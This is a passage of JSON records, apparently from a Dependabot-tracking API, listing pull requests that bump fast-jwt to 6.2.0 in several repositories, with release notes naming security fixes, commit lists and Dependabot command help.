href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1183\"\u003emercurius-js/mercurius#1183\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump secure-json-parse from 3.0.2 to 4.1.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1190\"\u003emercurius-js/mercurius#1190\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: default ws subprotocol option by \u003ca href=\"https://github.com/simone-sanfratello\"\u003e\u003ccode\u003e@​simone-sanfratello\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1191\"\u003emercurius-js/mercurius#1191\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: subscription hooks on connection close and error by \u003ca href=\"https://github.com/simone-sanfratello\"\u003e\u003ccode\u003e@​simone-sanfratello\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1192\"\u003emercurius-js/mercurius#1192\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: message id in subscription hooks by \u003ca href=\"https://github.com/simone-sanfratello\"\u003e\u003ccode\u003e@​simone-sanfratello\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1193\"\u003emercurius-js/mercurius#1193\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/mercurius-js/mercurius/compare/v16.3.0...v16.5.0\"\u003ehttps://github.com/mercurius-js/mercurius/compare/v16.3.0...v16.5.0\u003c/a\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mercurius-js/mercurius/commit/0e16af4fe2ba1a18d1e1193a94146feb794ddee0\"\u003e\u003ccode\u003e0e16af4\u003c/code\u003e\u003c/a\u003e Bumped v16.8.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mercurius-js/mercurius/commit/5b56f60f4b0d60780b0ff499a479bd830bdd6986\"\u003e\u003ccode\u003e5b56f60\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mercurius-...\n\n_Description has been truncated_\n\n\u003c!-- This is an auto-generated description by cubic. --\u003e\n---\n## Summary by cubic\nUpdate deps across the monorepo to pick up security fixes and align on current majors. Highlights: `fastify@5.8.3`, `undici@6.24.0`/`7.24.0`, `mercurius@16.8.0`, `vite@6`, `@astrojs/node@10`, `fast-jwt@6`, and `astro@5.18.1`.\n\n- **Dependencies**\n  - Security patches: `fastify`, `@fastify/middie`, `undici`, `mercurius`\n  - Major upgrades: `vite@6`, `@astrojs/node@10`, `fast-jwt@6`\n  - Framework/dev bumps: `astro@5.18.1`, `@nestjs/core`, `@nestjs/platform-fastify`, `next`, `koa`\n  - Other libs: `ajv`, `yaml`\n\n- **Migration**\n  - `@astrojs/node@10`: remove `experimentalErrorPageHost` from adapter config; implement error page fetch in middleware if needed. If you used `experimentalStaticHeaders`, switch to `staticHeaders`.\n  - `vite@6`: review Vite v6 breaking changes if you have custom config or plugins.\n  - `fast-jwt@6`: verify sign/verify usage and types; adjust to any API changes.\n\n\u003csup\u003eWritten for commit 170043c3a6bd5425b30a849c1fd2fea0c969c013. Summary will update on new commits.\u003c/sup\u003e\n\n\u003c!-- End of auto-generated description by cubic. --\u003e\n\n","html_url":"https://github.com/trizist/platformatic/pull/29","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/trizist%2Fplatformatic/issues/29","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/29/packages"}},{"old_version":"6.1.0","new_version":"6.2.0","update_type":"minor","path":null,"pr_created_at":"2026-04-08T12:03:55.000Z","version_change":"6.1.0 → 6.2.0","issue":{"uuid":"4224348148","node_id":"PR_kwDOQxc_5s7Qy92b","number":15,"state":"closed","title":"build(deps): bump fast-jwt from 6.1.0 to 6.2.0","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-09T16:53:41.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-08T12:03:55.000Z","updated_at":"2026-04-09T16:53:43.000Z","time_to_close":103786,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps)","packages":[{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.0","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.1.0 to 6.2.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.1.0\u0026new-version=6.2.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/mpc-ou/discord-bot/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/mpc-ou/discord-bot/pull/15","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpc-ou%2Fdiscord-bot/issues/15","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/15/packages"}},{"old_version":"6.1.0","new_version":"6.2.0","update_type":"minor","path":null,"pr_created_at":"2026-04-08T12:02:08.000Z","version_change":"6.1.0 → 6.2.0","issue":{"uuid":"4224338701","node_id":"PR_kwDOR6Xrt87Qy8Av","number":3,"state":"closed","title":"chore(deps): bump fast-jwt from 6.1.0 to 6.2.0","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-09T16:58:05.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-08T12:02:08.000Z","updated_at":"2026-04-09T16:58:07.000Z","time_to_close":104157,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.0","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.1.0 to 6.2.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.1.0\u0026new-version=6.2.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Polyteknikkojen-Kuoro/ilmomasiina/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Polyteknikkojen-Kuoro/ilmomasiina/pull/3","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Polyteknikkojen-Kuoro%2Filmomasiina/issues/3","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3/packages"}},{"old_version":"6.1.0","new_version":"6.2.0","update_type":"minor","path":"/kingstar_intelligence/backend","pr_created_at":"2026-04-08T12:01:26.000Z","version_change":"6.1.0 → 6.2.0","issue":{"uuid":"4224334568","node_id":"PR_kwDORu0jhs7Qy7NT","number":12,"state":"open","title":"Bump fast-jwt from 6.1.0 to 6.2.0 in /kingstar_intelligence/backend","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-08T12:01:26.000Z","updated_at":"2026-04-08T12:01:44.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.0","repository_url":"https://github.com/nearform/fast-jwt"}],"path":"/kingstar_intelligence/backend","ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.1.0 to 6.2.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.1.0\u0026new-version=6.2.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Johnatan-boot/Portal-intranet-kingstar/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Johnatan-boot/Portal-intranet-kingstar/pull/12","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Johnatan-boot%2FPortal-intranet-kingstar/issues/12","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/12/packages"}},{"old_version":"3.3.2","new_version":"6.2.0","update_type":"major","path":null,"pr_created_at":"2026-04-08T11:59:42.000Z","version_change":"3.3.2 → 6.2.0","issue":{"uuid":"4224325015","node_id":"PR_kwDOLDOMWc7Qy5Wl","number":17,"state":"closed","title":"Bump fast-jwt and @fastify/jwt","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-09T16:49:48.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-08T11:59:42.000Z","updated_at":"2026-04-09T16:49:50.000Z","time_to_close":103806,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","repository_url":"https://github.com/nearform/fast-jwt","old_version":"3.3.2","new_version":"6.2.0"},{"name":"@fastify/jwt","repository_url":"https://github.com/fastify/fastify-jwt","old_version":"8.0.0","new_version":"10.0.0"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) to 6.2.0 and updates ancestor dependency [@fastify/jwt](https://github.com/fastify/fastify-jwt). These dependencies need to be updated together.\n\nUpdates `fast-jwt` from 3.3.2 to 6.2.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease 